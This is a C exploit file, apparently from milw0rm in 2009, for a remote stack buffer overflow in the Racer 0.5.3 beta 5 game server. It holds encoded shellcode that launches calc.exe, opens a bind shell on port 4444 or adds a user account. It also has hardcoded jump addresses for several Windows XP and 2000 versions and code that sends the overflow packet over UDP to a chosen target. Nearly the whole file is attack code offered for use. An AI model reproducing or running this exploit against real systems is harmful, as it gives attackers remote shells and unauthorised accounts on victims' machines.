/*
Racer vs 0.5.3 beta 5 Remote Stack Buffer Overflow(C) exploit by fl0 fl0w
--------------------------------------------------------------------------------------------------
Description : Bug found some time ago by n00b (Cheers mate ! :D) ,I wanted to make a more
improved sploit , with lots of targets to chose from , and C yes is better :D.
--------------------------------------------------------------------------------------------------
Tested on Win Xp Pro Sp 3 ; Compile DevC++ 4.9.9.2
--------------------------------------------------------------------------------------------------
Command line arguments : -ip ->the ip of your target default is 127.0.0.1
-port ->default port is 26000
-shellcode ->well guess.. :D
--------------------------------------------------------------------------------------------------
What does the exploit do ?
You can run :Calc.exe, Bind shell on port 4444, Win32 Adduser
I've set the default port 26000 and ip 127.0.0.1 .
--------------------------------------------------------------------------------------------------
How to use ? Method ?
-t 10 -ip 127.0.0.1 -port 26000
Classic buffer overflow , just jump to the payload and done !
It can be exploited using SEH method too.
*/
#include <stdio.h>
#include <string.h>
#include <time.h>
#ifdef WIN32
#include "winsock2.h"
#pragma comment(lib, "ws2_32")
#else
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#endif
char packet[2000];
#ifdef WIN32
WSADATA wsadata;
#endif
struct {
const char *name;
int size;
char *shellcode;
} set[] = {
{
"Run Calc.exe" , 339 ,
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x37\x6a\x63"
"\x58\x30\x42\x30\x50\x42\x6b\x42\x41\x73\x41\x42\x32\x42\x41\x32"
"\x41\x41\x30\x41\x41\x58\x38\x42\x42\x50\x75\x38\x69\x69\x6c\x38"
"\x68\x41\x54\x77\x70\x57\x70\x75\x50\x6e\x6b\x41\x55\x55\x6c\x6e"
"\x6b\x43\x4c\x66\x65\x41\x68\x45\x51\x58\x6f\x4c\x4b\x50\x4f\x62"
"\x38\x6e\x6b\x41\x4f\x31\x30\x36\x61\x4a\x4b\x41\x59\x6c\x4b\x74"
"\x74\x6e\x6b\x44\x41\x4a\x4e\x47\x41\x4b\x70\x6f\x69\x6c\x6c\x4c"
"\x44\x4b\x70\x43\x44\x76\x67\x4b\x71\x4a\x6a\x66\x6d\x66\x61\x39"
"\x52\x5a\x4b\x4a\x54\x75\x6b\x62\x74\x56\x44\x73\x34\x41\x65\x4b"
"\x55\x4e\x6b\x73\x6f\x54\x64\x53\x31\x6a\x4b\x35\x36\x6c\x4b\x64"
"\x4c\x30\x4b\x6c\x4b\x73\x6f\x57\x6c\x75\x51\x6a\x4b\x6c\x4b\x37"
"\x6c\x6c\x4b\x77\x71\x68\x6b\x4c\x49\x71\x4c\x51\x34\x43\x34\x6b"
"\x73\x46\x51\x79\x50\x71\x74\x4c\x4b\x67\x30\x36\x50\x4c\x45\x4b"
"\x70\x62\x58\x74\x4c\x6c\x4b\x53\x70\x56\x6c\x4e\x6b\x34\x30\x47"
"\x6c\x4e\x4d\x6c\x4b\x70\x68\x37\x78\x58\x6b\x53\x39\x6c\x4b\x4f"
"\x70\x6c\x70\x53\x30\x43\x30\x73\x30\x6c\x4b\x42\x48\x77\x4c\x61"
"\x4f\x44\x71\x6b\x46\x73\x50\x72\x76\x6b\x39\x5a\x58\x6f\x73\x4f"
"\x30\x73\x4b\x56\x30\x31\x78\x61\x6e\x6a\x78\x4b\x52\x74\x33\x55"
"\x38\x4a\x38\x69\x6e\x6c\x4a\x54\x4e\x52\x77\x79\x6f\x79\x77\x42"
"\x43\x50\x61\x70\x6c\x41\x73\x64\x6e\x51\x75\x52\x58\x31\x75\x57"
"\x70\x63"
} ,
{
"Bind shell on port 4444" , 238 ,
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"
"\x49\x48\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x67"
"\x58\x30\x41\x31\x50\x42\x41\x6b\x42\x41\x77\x32\x42\x42\x42\x32"
"\x41\x41\x30\x41\x41\x58\x38\x42\x42\x50\x75\x5a\x49\x49\x6c\x72"
"\x4a\x48\x6b\x32\x6d\x48\x68\x4c\x39\x39\x6f\x39\x6f\x69\x6f\x43"
"\x50\x6e\x6b\x50\x6c\x66\x44\x41\x34\x4c\x4b\x73\x75\x47\x4c\x6c"
"\x4b\x43\x4c\x57\x75\x30\x78\x75\x51\x7a\x4f\x4c\x4b\x42\x6f\x34"
"\x58\x4e\x6b\x41\x4f\x37\x50\x46\x61\x7a\x4b\x42\x69\x4e\x6b\x46"
"\x54\x6c\x4b\x63\x31\x6a\x4e\x50\x31\x49\x50\x4c\x59\x6e\x4c\x6f"
"\x74\x49\x50\x32\x54\x74\x47\x6f\x31\x6b\x7a\x44\x4d\x46\x61\x6f"
"\x32\x4a\x4b\x4a\x54\x77\x4b\x31\x44\x51\x34\x55\x78\x31\x65\x4b"
"\x55\x6c\x4b\x33\x6f\x75\x74\x63\x31\x38\x6b\x35\x36\x4e\x6b\x44"
"\x4c\x70\x4b\x4e\x6b\x43\x6f\x55\x4c\x36\x61\x78\x6b\x36\x63\x66"
"\x4c\x4e\x6b\x6f\x79\x42\x4c\x31\x34\x57\x6c\x75\x31\x78\x43\x75"
"\x61\x39\x4b\x50\x64\x4c\x4b\x57\x33\x34\x70\x4c\x4b\x77\x30\x64"
"\x4c\x4c\x4b\x70\x70\x37\x6c\x4c\x6d\x6e\x6b\x61\x50\x74\x48\x31"
"\x4e\x30\x68\x6c\x4e\x62\x6e\x44\x4e\x78\x6c\x72\x70\x39\x6f\x79"
"\x46\x63\x56\x76\x33\x70\x66\x42\x48\x56\x53\x37\x42\x53\x58\x62"
"\x57\x41\x63\x54\x72\x63\x6f\x51\x44\x59\x6f\x5a\x70\x50\x68\x7a"
"\x6b\x6a\x4d\x4b\x4c\x47\x4b\x62\x70\x59\x6f\x6e\x36\x71\x4f\x6f"
"\x79\x4d\x35\x43\x56\x6b\x31\x4a\x4d\x33\x38\x34\x42\x31\x45\x52"
"\x4a\x55\x52\x79\x6f\x6e\x30\x73\x58\x6a\x79\x77\x79\x4c\x35\x4c"
"\x6d\x52\x77\x39\x6f\x69\x46\x72\x73\x71\x43\x61\x43\x41\x43\x30"
"\x53\x42\x63\x46\x33\x42\x63\x71\x43\x4b\x4f\x58\x50\x71\x76\x30"
"\x68\x32\x31\x71\x4c\x65\x36\x41\x43\x6b\x39\x58\x61\x6a\x35\x63"
"\x58\x59\x34\x76\x7a\x30\x70\x4b\x77\x61\x47\x49\x6f\x4a\x76\x71"
"\x7a\x42\x30\x53\x61\x41\x45\x6b\x4f\x5a\x70\x53\x58\x6e\x44\x6c"
"\x6d\x64\x6e\x6d\x39\x36\x37\x49\x6f\x4b\x66\x73\x63\x30\x55\x39"
"\x6f\x4e\x30\x52\x48\x4d\x35\x41\x59\x6f\x76\x32\x69\x70\x57\x49"
"\x6f\x4e\x36\x66\x30\x66\x34\x30\x54\x43\x65\x4b\x4f\x4a\x70\x4f"
"\x63\x63\x58\x39\x77\x50\x79\x68\x46\x64\x39\x36\x37\x39\x6f\x4e"
"\x36\x70\x55\x4b\x4f\x6e\x30\x63\x56\x31\x7a\x32\x44\x42\x46\x31"
"\x78\x33\x53\x72\x4d\x4d\x59\x78\x65\x50\x6a\x52\x70\x70\x59\x57"
"\x59\x38\x4c\x6b\x39\x5a\x47\x31\x7a\x72\x64\x4e\x69\x4b\x52\x70"
"\x31\x49\x50\x78\x73\x4e\x4a\x4b\x4e\x71\x52\x56\x4d\x6b\x4e\x72"
"\x62\x34\x6c\x4f\x63\x6e\x6d\x33\x4a\x77\x48\x4e\x4b\x6c\x6b\x4c"
"\x6b\x55\x38\x32\x52\x6b\x4e\x58\x33\x56\x76\x59\x6f\x70\x75\x43"
"\x74\x49\x6f\x7a\x76\x43\x6b\x36\x37\x70\x52\x36\x31\x31\x41\x31"
"\x41\x52\x4a\x54\x41\x70\x51\x51\x41\x50\x55\x63\x61\x6b\x4f\x58"
"\x50\x73\x58\x4c\x6d\x79\x49\x43\x35\x4a\x6e\x31\x43\x4b\x4f\x7a"
"\x76\x71\x7a\x59\x6f\x4b\x4f\x64\x77\x6b\x4f\x38\x50\x4c\x4b\x50"
"\x57\x79\x6c\x4c\x43\x5a\x64\x70\x64\x4b\x4f\x4e\x36\x33\x62\x79"
"\x6f\x6e\x30\x41\x78\x4c\x30\x6f\x7a\x43\x34\x51\x4f\x50\x53\x79"
"\x6f\x4a\x76\x4b\x4f\x4e\x30\x67"
} ,
{
"Win32 Adduser PASS=w00t EXITFUNC=seh USER=w00t" , 238 ,
"\xfc\xbb\xfb\xe2\x33\x0b\xeb\x0c\x5e\x56\x31\x1e\xad\x01\xc3\x85"
"\xc0\x75\xf7\xc3\xe8\xef\xff\xff\xff\x07\x0a\x77\x0b\xf7\xcb\xf3"
"\x4e\xcb\x40\x7f\x54\x4b\x56\x6f\xdd\xe4\x40\xe4\xbd\xda\x71\x11"
"\x08\x91\x46\x6e\x8a\x4b\x97\xb0\x14\x3f\x5c\xf0\x53\x38\x9c\x3b"
"\x96\x47\xdc\x57\x5d\x7c\xb4\x83\x9a\xf7\xd1\x47\xfd\xd3\x18\xb3"
"\x64\x90\x17\x08\xe2\xf9\x3b\x8f\x1f\x8e\x58\x04\xde\x7b\xe9\x46"
"\xc5\x7f\x29\x47\xc5\x1b\x26\xe8\xf5\x66\xf8\x91\xf9\xe3\xb9\x6d"
"\x89\x83\x25\xc3\x06\x0b\x5e\xf0\x10\x40\xde\xb6\x23\x56\xdf\x3d"
"\x4b\x6a\x80\x70\x7a\xf2\x68\xfa\x7a\x71\x54\x87\x2a\x1d\xa5\xf2"
"\xcf\x82\x2d\x9b\x2e\xb6\xa0\xcc\x31\x21\xdf\x9f\xa9\x83\x45\x18"
"\x57\xfb\xaa\xbb\xb7\x95\xd1\x4f\x98\x1c\x69\xd5\xaa\xfe\xfa\x25"
"\x7b\x8a\x24\x31\x4b\x42\x51\x9d\x84\xe3\xdd\x99\xfa\xc5\xfb\x01"
"\x95\x6c\x70\x62\x05\x01\x1b\x03\xb9\xba\xa9\xac\x34\x34\x6e\x72"
"\xd3\xd9\x07\x1a\x72\x52\xac\x90\xe5\xe0\x23\x27\x95\x28\xcb\xf7"
"\x69\x5c\x13\xd7\xc8\xd8\x17\x27\xcb\xe0\x97\x27\xcb"
},
{NULL, NULL}
};
#define EIP1 "\x7B\x46\x86\x7C" //Microsoft Windows Xp Pro sp3 JMP ESP Kernel32.dll
#define EIP2 "\x41\x41\x41\x41" //Test Crash
#define EIP3 "\xD9\x13\x00\x01" //Microsoft Win XP-Universal 1
#define NVal -1
#define EIP4 "\x74\x16\xE8\x77" //Microsoft Windows 2000 SP0 English
#define EIP5 "\xEC\x29\xE8\x77" //Microsoft Windows XP SP1 English
#define EIP6 "\xB5\x24\xE8\x77" //Microsoft Windows 2000 SP2 English
#define EIP7 "\x7A\x36\xE8\x77" //Microsoft Windows 2000 SP3 English
#define EIP8 "\x9B\x2A\xF9\x77" //Microsoft Windows 2000 SP4 English
#define EIP9 "\xE3\xAF\xE9\x77" //Microsoft Windows XP SP0 English
#define EIP10 "\xBA\x26\xE6\x77" //Microsoft Win XP-Universal 2
void Disconnect (SOCKET);
void Wait_s (int);
void Usage (char *);
void Exit (int);
int wsg (char *, char *);
void Help ();
int main (int argc, char *argv[])
{
if (argc < 6) {
Help ();
Exit (0);
}
int sskd,
sw=0;
char *target,
*os;
system ("CLS");
Help ();
if (WSAStartup (MAKEWORD(2,0), &wsadata) != 0) {
printf("wsastartup error\n");
NVal -1;
}
int ip = htonl(inet_addr(argv[4]));
int port = atoi (argv[6]);
int defaultPort = 26000;
char *defaultIp = "127.0.0.1";
//test ip ; If you enter 0 default will be set
if (atoi (argv[4]) <= 0)
ip = htonl(inet_addr(defaultIp));
//test if port is valid ; If you enter 0 the default will be loaded
if ( atoi (argv[6]) <= 0 || atoi (argv[6]) > 65000)
port = defaultPort;
//test line arguments
if (wsg (argv[1], "-t") == NVal) {
Usage (argv[0]);
Exit (0);
}
if (wsg (argv[3], "-ip") == NVal) {
Usage (argv[0]);
Exit (0);
}
if (wsg (argv[5], "-port") == NVal) {
Usage (argv[0]);
Exit (0);
}
if (wsg (argv[7], "-shellcode") == NVal) {
Usage (argv[0]);
Exit (0);
}
//endtest
char *g;
SOCKET s;
fd_set mask;
struct timeval timeout;
struct sockaddr_in server;
s=socket(AF_INET,SOCK_DGRAM,0);
if (s == -1) {
perror ("Socket\n");
return NVal;
}
//selecting JMP address
if (atoi (argv[2]) == 1) {
g = EIP1;
os = "win xp pro sp 3 English";
}
else
if (atoi (argv[2]) == 2) {
g = EIP2;
os = "boom";
}
else
if (atoi (argv[2]) == 3) {
g = EIP3;
os = "win xp pro sp 3 English";
}
else
if (atoi (argv[2]) == 4) {
g = EIP4;
os = "boom";
}
else
if (atoi (argv[2]) == 5) {
g = EIP5;
os = "win xp pro sp 3 English";
}
else
if (atoi (argv[2]) == 6) {
g = EIP6;
os = "boom";
}
else
if (atoi (argv[2]) == 7) {
g = EIP7;
os = "win xp pro sp 3 English";
}
else
if (atoi (argv[2]) == 8) {
g = EIP8;
os = "boom";
}
else
if (atoi (argv[2]) == 9) {
g = EIP9;
os = "win xp pro sp 3 English";
}
else
if (atoi (argv[2]) == 10) {
g = EIP10;
os = "boom";
}
//endselect
system ("cls");
printf ("--------------------------\n");
printf ("*Preparing connection...\n");
Wait_s (500);
server.sin_family=AF_INET;
server.sin_addr.s_addr=htonl(ip);
server.sin_port=htons(port);
//core of exploit
int i;
do {
packet[i] = 'E';
i++;
}while (i < 2000);
printf ("*Building buffer...\n");
Wait_s (500);
memset (packet,0x90,2000);
memcpy (packet + 1001, g, 4);
if (atoi (argv[8]) == 0)
memcpy (packet + 1005 , (char*)set[0].shellcode, strlen ((char*)set[0].shellcode));
else
if (atoi (argv[8]) == 1)
memcpy (packet + 1005 , (char*)set[1].shellcode, strlen ((char*)set[1].shellcode));
else
if (atoi (argv[8]) == 2)
memcpy (packet + 1005 , (char*)set[2].shellcode, strlen ((char*)set[2].shellcode));
printf ("*Sending packets...\n");
Wait_s (500);
sskd = sendto(s, packet, sizeof (packet), 0, (struct sockaddr *)&server, sizeof (server));
//endcore
timeout.tv_sec=10;timeout.tv_usec=0;FD_ZERO(&mask);FD_SET(s,&mask);
sw = select((s+1),&mask,NULL,NULL,&timeout);
if(sw)
{
perror ("Server \n");
Disconnect (s);
return -1;
}
else
{ printf ("*you can get shell now ! if calc isn't launched already ...:))\n");
printf ("*Success !\n");
printf ("-------------------------\n");
Help ();
Disconnect (s);
return 0;
}
return 0;
}
int wsg (char *name1, char *name2)
{
if (strcmp (name1, name2) == 0)
return 1;
return NVal;
}
void Usage (char *name)
{
printf ("Usage is: %s -t 1->4 -ip 127.0.0.1 -port 26000\n", name);
}
void Help ()
{
fputs (
"********** ********************************** ************** **********\n"
"::::Racer vs 0.5.3 Remote Stack Buffer Overflow Exploit (C):::: \n"
":::: By fl0 fl0w :::: \n"
"\t-t ->target-> "
" \n"
"\t\tMicrosoft Win XP-Universal \n"
"\t\tMicrosoft Windows XP SP0 English \n"
"\t\tMicrosoft Windows XP SP1 English \n"
"\t\tMicrosoft Win XP Pro sp3 English \n"
"\t\tMicrosoft Windows 2000 SP0 English \n"
"\t\tMicrosoft Windows 2000 SP1 English \n"
"\t\tMicrosoft Windows 2000 SP2 English \n"
"\t\tMicrosoft Windows 2000 SP3 English \n"
"\t\tMicrosoft Windows 2000 SP4 English \n"
" \n"
"\t-ip ->the ip of your target default is 127.0.0.1 \n"
" \n"
"\t-port ->default port is 26000 \n"
" \n"
"\t-shellcode ->well guess.. :D \n"
"\t\t {1}Run Calc.exe \n"
"\t\t {2}Bind shell on port 4444 \n"
"\t\t {3}Win32 Adduser PASS=w00t EXITFUNC=seh USER=w00t \n"
"\n"
"EXAMPLE"
" Usage is: -t 10 -ip 127.0.0.1 -port 26000 "
,stdout);
}
void Exit (int t)
{
exit (t);
}
void Wait_s (int seconds)
{
Sleep (seconds);
}
void Disconnect (SOCKET S)
{
closesocket(S);
}
// milw0rm.com [2009-03-20]
